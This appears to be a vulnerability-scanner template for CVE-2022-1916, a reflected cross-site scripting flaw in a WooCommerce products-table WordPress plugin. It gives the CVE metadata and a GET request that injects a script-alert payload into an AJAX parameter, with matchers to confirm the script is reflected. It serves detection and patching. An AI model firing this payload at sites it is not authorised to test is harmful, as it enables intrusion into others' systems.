id: CVE-2022-1916

info:
  name: WordPress Active Products Tables for WooCommerce <1.0.5 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Active Products Tables for WooCommerce plugin prior to 1.0.5 contains a cross-site scripting vulnerability.. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to version 1.0.5 or later of the WordPress Active Products Tables for WooCommerce plugin to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d16a0c3d-4318-4ecd-9e65-fc4165af8808
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1916
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1916
    cwe-id: CWE-79
    epss-score: 0.01872
    epss-percentile: 0.77295
    cpe: cpe:2.3:a:pluginus:woot:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: pluginus
    product: woot
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,xss,wpscan,wp,pluginus,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=woot_get_smth&what={%22call_action%22:%22x%22,%22more_data%22:%22\u003cscript%3Ealert(document.domain)\u003c/script%3E%22}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - 'woot-content-in-popup'
          - 'woot-system'
          - 'woot-table'
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402202592eb435b7d37bdb60c2ac231d1a3fb288c296a468c319682c0e50353deb9ec02205b834fee96f86af54d0ef25f586a75080d29279ffe954a3d2c6c39f2bb76c7d6:922c64590222798bb761d5b6d8e72950